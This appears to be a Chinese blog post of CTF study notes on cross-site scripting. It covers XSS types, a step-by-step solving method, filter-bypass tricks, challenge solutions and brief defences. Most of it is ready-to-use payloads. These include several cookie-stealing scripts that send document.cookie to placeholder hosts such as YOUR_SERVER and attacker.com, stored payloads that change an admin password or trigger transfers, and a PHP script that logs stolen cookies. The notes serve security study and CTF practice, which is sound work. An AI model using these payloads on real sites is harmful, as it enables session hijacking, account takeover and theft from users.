欢迎光临
我们一直在努力

XSS练习小结

1. XSS 基础概念

XSS(Cross-Site Scripting,跨站脚本攻击):

攻击者在网页中注入恶意脚本代码,当其他用户浏览页面时,脚本在用户浏览器中执行,

造成窃取 Cookie、劫持会话、篡改页面、钓鱼攻击等危害。

常见测试方法:alert() 弹窗验证漏洞存在。

核心三要素:

* 有输入点 —— 用户输入能被传到页面

* 未正确转义/过滤 —— 服务端或客户端没有对 < > " ' & 做 HTML 实体编码

* 输出点在 HTML 上下文中 —— 输入最终出现在 HTML、属性或 JavaScript 中

2. 三种 XSS 类型及判断方法

2.1 反射型 XSS(Reflected XSS / 非持久型)

· – 数据流:用户发送请求(URL参数/表单)→ 服务端 → 直接拼进响应HTML

· – 特点:一次性、不存数据库、URL中可见payload

· – 例:https://example.com/search?q=<script>alert(1)</script>

· – 判断:输入出现在请求中,响应里原样返回,不持久化

2.2 存储型 XSS(Stored XSS / 持久型)

· – 数据流:用户提交数据 → 存数据库 → 其他用户访问页面 → 从数据库取出渲染

· – 特点:持久化、危害最大、影响所有访问该页面的用户

· – 例:评论区提交 <script>alert(1)</script>,每次有人看都触发

· – 判断:输入被存到后端,之后每次访问都执行

2.3 DOM 型 XSS(DOM-based XSS)

· – 数据流:用户 → URL片段/hash/前端数据源 → 前端JS用 innerHTML/document.write 操作DOM

· – 特点:服务端完全不参与,纯客户端问题

· – 例:https://example.com/#<img src=x onerror=alert(1)>

前端代码用 location.hash 拼到 innerHTML

· – 判断:响应HTML里没有payload,但页面弹窗了 → DOM型

2.4 快速区分表

类型

数据持久化

服务端参与

Payload在响应中

反射型

是(拼HTML)

存储型

是(数据库)

DOM型

否(纯前端)

最快判断方法:看响应HTML源码。

* Payload 在响应HTML里 → 反射型或存储型(再看是否存库)

* Payload 不在响应HTML里但页面弹窗了 → DOM型

3. XSS 攻击链 & 通用解题步骤

3.1 通用解题流程

步骤 1:找输入点

· – URL参数(?q=、?name=、?msg=、?callback= 等)

· – 表单输入框(留言、评论、搜索、登录框)

· – 请求头(User-Agent、Referer、Cookie 等)

· – 路径参数

步骤 2:测试输出点(看输入在哪渲染)

· – 打开浏览器开发者工具 → 查看网页源代码(F12)

· – 看输入出现在哪个位置:

A. 标签属性内(value="…") → 需闭合属性

B. 标签间(<div>…</div>) → 可直接注入标签

C. JavaScript代码中(<script>var x="…"</script>) → 需闭合JS语句

· – 关键测试:< > " ' 是否被过滤/转义

步骤 3:根据输出点构造 Payload

A. 在属性值内(value="…"):

· – 先闭合 " 和 >:"><img src=x onerror=alert(1)>

· – 或保留标签只闭合属性:" onfocus=alert(1) autofocus>

B. 在标签间(<div>…</div>):

· – 直接注入标签:<script>alert(1)</script>

· – 或用事件标签:<img src=x onerror=alert(1)>

C. 在JS代码中(闭合引号和语句):

· – '-alert(document.domain)-'

· – ';alert(document.domain)//

· – ";-alert(1)//

步骤 4:绕过过滤(如有)

· – 标签黑名单 → 换标签(<img>/<svg>/<body>/<input>/<details>/<iframe>)

· – script 被禁 → 用事件处理器(onerror/onload/onfocus/ontoggle)

· – 空格被禁 → 用 /**/ 或 %09 / %0a / %0c 绕过

· – 引号被禁 → 用反引号 ` 或编码绕过

· – 关键字被禁 → 大小写绕过、双写绕过、编码绕过

步骤 5:验证漏洞

· – alert(1) 弹窗 → 漏洞存在

· – 对于需要偷 Cookie 的题:用外带平台接收 Cookie

步骤 6:利用漏洞(获取 flag)

· – 弹窗直接显示 flag

· – 页面内容显示 flag

· – 偷取 admin Cookie 获得 flag

· – 修改管理员密码登录获取 flag

· – 转账 / 购买物品获取 flag

4. 常见场景攻击链

场景 A:输入在 <input value="[HERE]">

Payload: "><img src=x onerror=alert(1)>

原理:闭合value=" → " 闭合属性

闭合input标签 → > 闭合标签

注入新标签 → <img> 独立存在 → onerror 执行

场景 B:输入在 <div>[HERE]</div>

Payload: <script>alert(1)</script> 或 <img src=x onerror=alert(1)>

场景 C:有 admin 机器人轮询(需偷 Cookie)

Payload1: <script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>

Payload2: <script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>

场景 D:JSONP 接口(?callback=xxx)

Payload: ?callback=alert&user=<script>alert(1)</script>

原理:callback 不过滤 → 服务端返回 alert({…}) → alert() 被覆写 →

检测到 XSS payload 后返回 flag

场景 E:登录框反射(value属性中)

Payload: "><script>alert(document.cookie)</script>

或: "><img src=x onerror=alert(document.cookie)>

场景 F:请求头注入(User-Agent / Referer / Cookie)

Payload: " type="text" onmousemove="alert(1)

原理:修改请求头中对应字段,闭合原有属性,添加事件属性

5. 常用 Payload 速查表

5.1 基本检测 Payload(通用)

<script>alert(1)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

<input onfocus=alert(1) autofocus>

<details open ontoggle=alert(1)>

<iframe onload=alert(1)></iframe>

5.2 闭合属性 Payload(输入在 value="…" / 属性值内)

"><script>alert(1)</script>

"><img src=x onerror=alert(1)>

" onfocus=alert(1) autofocus>

"><svg onload=alert(1)>

"><body onload=alert(1)>

"><input onfocus=alert(1) autofocus>

" onclick="alert(1)

5.3 Cookie 窃取 Payload

方式 1:location.href 跳转

<script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>

方式 2:new Image() — 更隐蔽

<script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>

方式 3:fetch 定时发送

<img src=x onerror="setInterval(() => {

fetch('http://YOUR_SERVER:8088?cookie='+document.cookie)

}, 6000);">

方式 4:Image() + base64编码

<script>var i=new Image();

i.src="http://YOUR_SERVER:8088?cookie="+btoa(document.cookie);</script>

方式 5:利用 onfocus + autofocus(script被禁时)

<input onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)" autofocus>

方式 6:svg onload

<svg onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">

方式 7:iframe onload

<iframe onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"></iframe>

方式 8:body onload

<body onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">

5.4 闭合 JS 上下文 Payload

'-alert(document.domain)-'

';alert(document.domain)//

'-alert(1)-'

';alert(1)//

";-alert(1)//

5.5 绕过空格过滤(用 /**/)

<input/**/onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"/**/autofocus>

<img/**/src=x/**/onerror=alert(1)>

<svg/**/onload=alert(1)>

5.6 XSS 平台用 Payload

<script src="https://xss.pt/xxx"></script>

<script src="https://xsshs.cn/xxx"></script>

5.7 URL编码版 Payload(用于GET参数)

%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

%3Cscript%3Ealert(1)%3C%2Fscript%3E

6. 标签 & 事件处理器速查

6.1 可自动触发的标签(无需用户交互)

标签

payload

<script>

<script>alert(1)</script>

<img>

<img src=x onerror=alert(1)>

<svg>

<svg onload=alert(1)>

<body>

<body onload=alert(1)>

<input>

<input onfocus=alert(1) autofocus>

<details>

<details open ontoggle=alert(1)>

<iframe>

<iframe onload=alert(1)></iframe>

<select>

<select onfocus=alert(1) autofocus></select>

<textarea>

<textarea onfocus=alert(1) autofocus>

<video>

<video><source onerror=alert(1)>

<audio>

<audio src=x onerror=alert(1)>

<marquee>

<marquee onstart=alert(1)></marquee>

<keygen>

<keygen autofocus onfocus=alert(1)> (火狐)

6.2 常用事件处理器

onerror — 资源加载失败时触发(最常用)

onload — 元素加载完成时触发

onfocus — 元素获得焦点时触发(配合 autofocus 自动触发)

onblur — 元素失去焦点时触发

onmouseover — 鼠标悬停时触发(需用户交互)

onclick — 点击时触发(需用户交互)

ontoggle — details 打开/关闭时触发

onscroll — 滚动时触发

onbegin — SVG动画开始时触发

onresize — 窗口大小改变时触发

oninput — 输入时触发

onchange — 值改变时触发

onanimationend — CSS 动画结束时触发

onanimationstart — CSS 动画开始时触发

7. 绕过技术大全

7.1 标签黑名单绕过

<script> 被禁 → 改用事件处理器标签

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<body onload=alert(1)>

<input onfocus=alert(1) autofocus>

<details open ontoggle=alert(1)>

<iframe onload=alert(1)></iframe>

7.2 空格过滤绕过

空格被过滤 → 用以下替代:

/**/ — <input/**/onfocus="…" autofocus>

%09 — 制表符(具体看服务端解码)

%0a — 换行符

%0c — 换页符

%0d — 回车符

7.3 引号过滤绕过

' 或 " 被过滤 → 用反引号 `(ES6 模板字符串)

<img src=x onerror=alert(`1`)>

<input onfocus=window.open(`http://SERVER/?c=`+document.cookie) autofocus>

或用无引号事件写法:

<img src=x onerror=alert(1)>

7.4 script 关键字过滤绕过

大小写混写: <ScRiPt>alert(1)</ScRiPt>

双写绕过: <scscriptript>alert(1)</scscriptript>

HTML实体: &#60;script&#62;alert(1)&#60;/script&#62;

Unicode: \\u0061\\u006C\\u0065\\u0072\\u0074(1)

7.5 属性值闭合绕过(针对 preg_replace 过滤)

服务端只过滤了 <script>(如 preg_replace('/<script>/i', '', $comment))

→ 直接不用 script 标签即可

"><img src=x onerror=alert(1)>

" onfocus=alert(1) autofocus>

7.6 闭合反斜杠转义绕过

服务端用反斜杠转义引号(\\' 或 \\")

→ 添加一个反斜杠闭合转义

输入: \\ → 后端: \\\\(转义了反斜杠,本身被转义掉)

输入: \\' → 后端: \\\\'(反斜杠转义了反斜杠,引号逃脱)

→ 或直接用不包含引号的 payload

7.7 JavaScript 伪协议绕过(script/onerror被禁时)

<a href="javascript:alert(1)">Click</a>

<iframe src="javascript:alert(1)"></iframe>

<a href="javascript:alert(document.cookie)">Click</a>

7.8 SVG 标签高级绕过

<!– 当事件处理器被禁时的 SVG 绕过 –>

<svg>

<a>

<animate attributeName=href values=javascript:alert(1) />

<text x=20 y=20>Click me</text>

</a>

</svg>

<!– SVG 动画事件 –>

<svg><animatetransform onbegin=alert(1)>

7.9 CSP 绕过

<!– 悬空标记攻击(Dangling Markup) –>

<img src="http://attacker.com/steal?data=

<!– 利用 script-src-elem 覆盖 CSP –>

?token=;script-src-elem 'unsafe-inline'

<!– JSONP 绕过 CSP –>

<script src="?callback=alert(1)"></script>

7.10 jQuery DOM XSS

$("div").html(userInput) → Payload: <img src=1 onerror=alert(1)>

7.11 AngularJS 绕过(ng-app 作用域内)

{{constructor.constructor('alert(1)')()}}

{{$on.constructor('alert(1)')()}}

7.12 反引号模板字符串绕过

${alert(document.cookie)}

7.13 HTML实体编码绕过(用于 href 属性)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

解码后为:javascript:alert(1)

7.14 无括号 XSS(throw + onerror)

<script>throw onerror=alert,document.cookie</script>

原理:onerror=alert 将全局错误处理指向 alert

throw document.cookie 抛出异常触发 onerror → alert(document.cookie)

8. Cookie 窃取方案

8.1 方案对比

方案

隐蔽性

服务器需求

适用场景

location.href

script 可用时

new Image()

最推荐,隐蔽

fetch/XMLHttpReq

需 CORS 支持

XSS 平台

无服务器时

Webhook/ReqBin

临时测试

Burp Collaborator

有 BP 时

oastify.com

公开外带平台

8.2 自建服务器接收 Cookie

服务器端 PHP 接收脚本(x.php):

<?php

$cookie = $_GET['cookie'] ?? $_GET['c'] ?? '';

$log = fopen("cookie.txt", "a");

fwrite($log, $cookie . "\\n");

fclose($log);

?>

8.3 XSS 平台

xss.pt — https://xss.pt

xsshs.cn — https://xsshs.cn

用法:注册项目 → 生成 XSS 代码 → 嵌入 payload → 等回调

8.4 Webhook / 请求接收平台

RequestBin — https://pipedream.com/requestbin

webhook.site — https://webhook.site

oastify.com — Burp Suite Collaborator 的公开替代

Interactsh — https://app.interactsh.com

8.5 内网环境实战(admin 机器人访问)

当页面有 admin 机器人每隔一定时间访问页面时:

Step 1: 提交含 Cookie 窃取 payload 的留言/评论

Step 2: 等待 admin 机器人访问页面

Step 3: admin 的 Cookie 被发送到你的服务器

Step 4: 用窃取的 Cookie 替换自己的 Cookie → 获取 flag

注意:必须用公网可达地址,不能用 127.0.0.1 或 localhost

9. 反射型 XSS 实战案例

9.1 基础反射型 —— 输入直接拼到页面

题目:搜索框、URL参数反射

现象:输入 <script>alert(1)</script> 直接弹窗

Payload: <script>alert(1)</script>

flag:弹窗直接显示 / 页面显示

9.2 登录框反射型 —— 输入在 value 属性中

题目:账号密码输入框,输入显示在 value="…" 中

现象:需要闭合属性值

Payload: "><script>alert(document.cookie)</script>

或: "><img src=x onerror=alert(document.cookie)>

9.3 有 admin 机器人的反射型

题目:输入框提交后,admin 机器人会访问该页面

现象:普通用户访问只有 "你不是管理员",需要偷 admin 的 Cookie

Payload:

<script>location.href="http://YOUR_SERVER/?cookie="+document.cookie</script>

<script>new Image().src="http://YOUR_SERVER/?c="+document.cookie</script>

注意:必须用公网可达地址

9.4 script 被禁的反射型

现象:<script> 标签被过滤

绕过:用 input + onfocus + autofocus(或其他事件标签)

Payload:

<input onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)" autofocus>

其他备选:

<svg onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">

<iframe onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"></iframe>

<body onload="window.open('http://YOUR_SERVER/?cookie='+document.cookie)">

9.5 空格被过滤的反射型

现象:空格被过滤

绕过:用 /**/ 替代空格

Payload:

<input/**/onfocus="window.open('http://YOUR_SERVER/?cookie='+document.cookie)"/**/autofocus>

或:

<img/**/src=x/**/onerror=alert(1)>

9.6 请求头注入(Referer / User-Agent / Cookie)

现象:Referer / User-Agent / Cookie 被反射到页面

修改方法:F12 开发者工具 → 抓包修改请求头

Payload: " type="text" onmousemove="alert(1)

10. 存储型 XSS 实战案例

10.1 基础存储型 —— 留言板 XSS

题目:留言板,提交的留言每次访问都执行

现象:所有访问该页面的用户都会触发 XSS

Payload: 与反射型相同,但需要持久化存储

利用:

→ 窃取 admin Cookie

→ 修改管理员密码

→ 转账 / 购买物品

10.2 存储型 —— 修改管理员密码

场景:有修改密码接口 /api/change.php

GET 版本:

Payload(注册用户名):

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

步骤:注册 Payload 作为用户名 → 登录 → admin 访问时触发 → 密码被改为 123

POST 版本:

Payload:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',

type:'post', data:{p:'123'}});</script>

步骤同上

10.3 存储型 —— 转账

场景:有转账 / 购买 flag 功能

Payload:

<script>$.ajax({url:'/api/amount.php', type:'post',

data:{u:'目标用户', a:10000}});</script>

步骤:注册普通账户 + 注册 Payload 账户 → 登录 Payload 账户 →

admin 访问时触发转账 → 购买 flag

10.4 存储型 —— 直接捞取页面内容

场景:页面内容(用户管理页)包含 flag,需要直接拿出

Payload(使用 jQuery):

<script>

$('.layui-table-cell').each(function(index,value){

if(value.innerHTML.indexOf('ctfshow') > -1){

window.open("http://YOUR_SERVER/"+value.innerHTML);

}

});

</script>

原理:当管理员访问用户管理页面时,XSS 将表格中含 ctfshow 的单元格内容

发送到攻击者服务器

11. JSONP XSS 实战案例

11.1 JSONP 原理

JSONP(JSON with Padding):

利用 <script> 标签可以跨域加载资源的特性,远程获取并执行服务器返回的数据。

正常流程:

前端请求: <script src="https://b.com/getUsers.json?callback=myCallback"></script>

服务端返回: myCallback({"code": 0, "users": ["alice", "bob"]});

11.2 JSONP XSS 攻击链

攻击点:callback 参数直接被包裹在 JSON 外层,无任何过滤

步骤 1:发现 /api/jsonp-vuln?callback=xxx&user=test

返回: xxx({"code":200, "data":{"username":"test", …}})

步骤 2:将 callback 设为 alert

/api/jsonp-vuln?callback=alert&user=<script>alert(1)</script>

返回: alert({"code":200, "data":{"username":"<script>alert(1)</script>", …}})

触发 alert() 函数

步骤 3:页面内 alert() 被覆写(检测到 XSS payload 后返回 flag)

最终 Payload:

callback = alert

user = <script>alert(1)</script>

触发条件:/xss-vuln?name=<script>alert(1)</script> 返回 flag

12. XSS 防御措施

12.1 输出编码

* HTML 实体编码:< → &lt; > → &gt; " → &quot; ' → &#x27; & → &amp;

* 不要直接把后端数据作为 HTML 渲染

12.2 CSP(Content Security Policy)

通过 HTTP 头或 meta 标签设置:

Content-Security-Policy:

script-src 'self'; /* 只允许同源脚本 */

img-src 'self'; /* 只允许同源图片 */

connect-src 'self'; /* 只允许同源请求 */

style-src 'self' 'unsafe-inline';

CSP 的作用:

* 禁止加载外域代码,防止复杂攻击逻辑

* 禁止内联脚本执行

* 禁止外域提交,用户数据不泄露到外域

* 合理使用上报,及时发现 XSS

12.3 其他安全措施

* HTTP-only Cookie: 禁止 JavaScript 读取敏感 Cookie

* 输入验证(白名单优先):只允许预期的字符/格式

* 验证码:防止脚本冒充用户提交危险操作

* 使用安全的框架 API(React/Vue 自动转义),避免 innerHTML/document.write

13. 常用外带平台 & 工具

13.1 外带接收平台

Burp Collaborator — Burp Suite 内置

oastify.com / oast.pro — 公开 DNS/HTTP 外带测试平台

RequestBin / Pipedream — https://pipedream.com/requestbin

webhook.site — https://webhook.site

Interactsh — https://app.interactsh.com

13.2 XSS 平台

xss.pt — https://xss.pt

xsshs.cn — https://xsshs.cn

13.3 浏览器开发者工具(F12)

Elements(元素) — 查看页面 HTML 结构,找输出点

Network(网络) — 查看请求/响应

Console(控制台) — 测试 JS 代码

13.4 其他工具

Burp Suite — 抓包、重放、Collaborator

HackBar — Firefox/Chrome 插件,快速构造 payload

XSStrike — 自动化 XSS 检测工具

BeEF — 浏览器利用框架(Browser Exploitation Framework)

14. XSS 练习平台题解速查

CTFshow 系列:

· │ 题目 │ 类型 zz│ Payload/解法

· │ web316 │ 反射+XSS │ <script>location.href='SERVER?c='+doc.cookie

· │ web317 │ 反射+XSS │ script被禁→ <input onfocus=… autofocus>

· │ web318 │ 反射+XSS │ 同上

· │ web319 │ 反射+XSS │ 同上

· │ web320-6 │ 反射+XSS │ 空格被禁→用/**/ 替代空格

· │ web327 │ 存储+XSS │ <input onfocus=… autofocus>(存在留言板)

· │ web328 │ 存储+XSS │ 偷取 admin Cookie → 伪造登录

· │ web329 │ 存储+XSS │ jQuery 捞取页面内容(.layui-table-cell)

· │ web330 │ 存储+XSS │ GET 改密码:<script>location.href='…'</>

· │ web331 │ 存储+XSS │ POST 改密码:$.ajax({type:'post',…})

· │ web332 │ 存储+XSS │ 转账:$.ajax({url:'/api/amount.php',…})

· │ web333 │ 存储+XSS │ 同 web332

XSS-lab 系列关键解法:

题目

类型

Payload/解法

pass-1

反射型

直接 <script>alert(1)</script>

pass-2

value属性中,"> <img src=x onerror=alert(1)> 闭合绕过

pass-3

<>被转义

用 'onmouseup=alert(123)// 事件属性绕过

pass-4

<>被过滤

" onfocus=alert(1) autofocus>

pass-5

cript/onerror被过滤

javascript伪协议:

"><iframe src="javascript:alert(1)"></iframe>

"><a href="javascript:alert(1)">

pass-6

大小写绕过

"><a hrEf="javascript:alert(1)">

pass-7

双写绕过

"><scscriptript>alert(1)</sscriptcript>

pass-8

HTML实体编码

&#106;…(href属性中的javascript:编码)

pass-9

需要 http:// + 双写 + 注释

javascrscriptipt:alert(1)//http://

pass-10

hidden属性

onclick 事件

pass-11

Referer 注入

修改 Referer 头为 " type="text" onmousemove=alert(1)

pass-12

User-Agent 注入

修改 UA 为 " type="text" onmousemove=alert(1)

pass-13

Cookie 注入

修改 Cookie 为 " type="text" onmousemove=alert(1)

pass-15

AngularJS ng-include 文件包含注入

'level1.php?name=<img src=1 onerror=alert(1)>'

pass-16

空格过滤

用 %0a / %0c / %0d 绕过:<img%0asrc=1%0aonerror=alert(1)

pass-17

embed 标签拼接绕过

arg02=b onmousemove='alert(1)'

pass-18

embed 标签拼接绕过

arg02=b onmousemove='alert(1)'

15. 高级绕过技巧汇总

15.1 字符串碎裂化绕过

<img src="1" onerror="a='aler';b='t';c='(document.cookie)';eval(a+b+c)">

<img src="1" onerror="a='aler';b='t';window[a+b](document.cookie)">

15.2 括号表示法 + 字符串拼接

javascript:window['al'+'ert'](document.cookie)

15.3 CSS 动画事件绕过(黑名单绕过)

<style>@keyframes x{}</style>

<xss style="animation-name:x" onanimationend="alert(document.cookie)"></xss>

15.4 RCDATA 元素逃逸绕过

<textarea><img title="</textarea>

<img src onerror=alert(documet.cookie)>">

15.5 JavaScript Hoisting 绕过

"; eval(myUndefVar); var myUndefVar; alert(document.cookie); //

15.6 无括号 XSS(onerror + throw)

<script>throw onerror=alert,document.cookie</script>

<script>{onerror=alert}throw 1337</script>

15.7 Symbol.hasInstance + 十六进制绕过

<script>'alert\\x28document.cookie\\x29'instanceof

{[Symbol['has'+'Instance']]:eval}</script>

15.8 Bootstrap 组件 XSS

<xss class=progress-bar-animated onanimationstart=alert(1)>

15.9 AngularJS 无字符串逃逸链

?search=1&toString().constructor.prototype.charAt=[].join;

[1]|orderBy:toString().constructor.fromCharCode(

120,61,97,108,101,114,116,40,49,41

)=1

15.10 URL 双重解码绕过

后端 urlencode → 前端两次 decodeURIComponent

Payload: %22);alert(document.cookie);//

16. 实战场景汇总

16.1 博客评论区 XSS

漏洞:website 字段经过 htmlspecialchars 转义后放入 href

利用:直接在 Website 字段输入 javascript:alert(1)

当其他用户点击评论者名字时执行

16.2 选择功能 XSS

漏洞:document.write 直接拼接 URL 参数

利用:?storeId=<img src=x onerror=alert(document.cookie)>

16.3 返回链接 XSS

漏洞:jQuery attr() 设置 href,未校验协议

利用:?returnPath=javascript:alert(document.cookie)

16.4 Hash DOM XSS

漏洞:读取 location.hash 写入 innerHTML

利用:#<img src=x onerror=alert(document.cookie)>

16.5 JSON XSS(反斜杠转义绕过)

漏洞:转义 " 但未转义 \\

利用:\\"-alert(document.cookie)})

16.6 HTML 文件上传 XSS

漏洞:允许上传 .html 文件

利用:上传含 <script>alert(1)</script> 的 HTML 文件

16.7 PDF 文件上传 XSS

漏洞:仅验证后缀,未校验内容

利用:上传 HTML/PDF polyglot 文件

16.8 在线客服聊天 XSS

漏洞:未转义客服端消息

利用:<a href="javascript:alert(document.cookie)">点击这里</a>

16.9 配合 CSRF 获取敏感信息

利用:<script>fetch('http://attacker.com', {

method:'POST', mode:'no-cors', body:document.cookie

});</script>

17.XSS 解题万能速查流程图

① 找输入点

├─ URL参数(?q=, ?name=, ?msg=, ?callback=)

├─ 表单输入框(留言、评论、搜索、登录)

├─ 请求头(User-Agent, Referer, Cookie)

└─ 路径参数 / Hash

② 找输出点(F12查看源码)

├─ 在 value="…" 属性内 → 需闭合属性

· │ Payload: "><img src=x onerror=alert(1)>

· │ " onfocus=alert(1) autofocus>

├─ 在 <div>…</div> 标签间

· │ Payload: <script>alert(1)</script>

· │ <img src=x onerror=alert(1)>

└─ 在 JS 代码中(var x="…")

Payload: '-alert(1)-'

';alert(1)//

③ 测试过滤(输入测试字符 < > " ' &)

├─ 完全不过滤 → 直接使用基本 Payload

├─ <script>被禁 → 换事件标签(img/svg/body/input/iframe)

├─ 空格被禁 → 用 /**/ 或 %09 %0a %0c %0d

├─ 引号被禁 → 用反引号 ` 或事件无引号写法

├─ 关键字被禁 → 大小写/双写/编码绕过

└─ 全都被转义 → 检查是否在 href 属性中 → 用 javascript: 伪协议 + HTML实体编码

④ 利用漏洞

├─ 弹窗获得 flag

├─ 页面显示 flag

├─ 偷 Cookie(有 admin 机器人时)

· │ └─ <script>new Image().src="http://SERVER/?c="+document.cookie</script>

├─ 改密码登录

· │ └─ <script>location.href='/api/change.php?p=123'</script>

└─ 转账购买

└─ <script>$.ajax({url:'/api/amount.php', type:'post', data:{u:'me',a:9999}})</script>

END

赞(0)
未经允许不得转载:171主机测评 » XSS练习小结
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址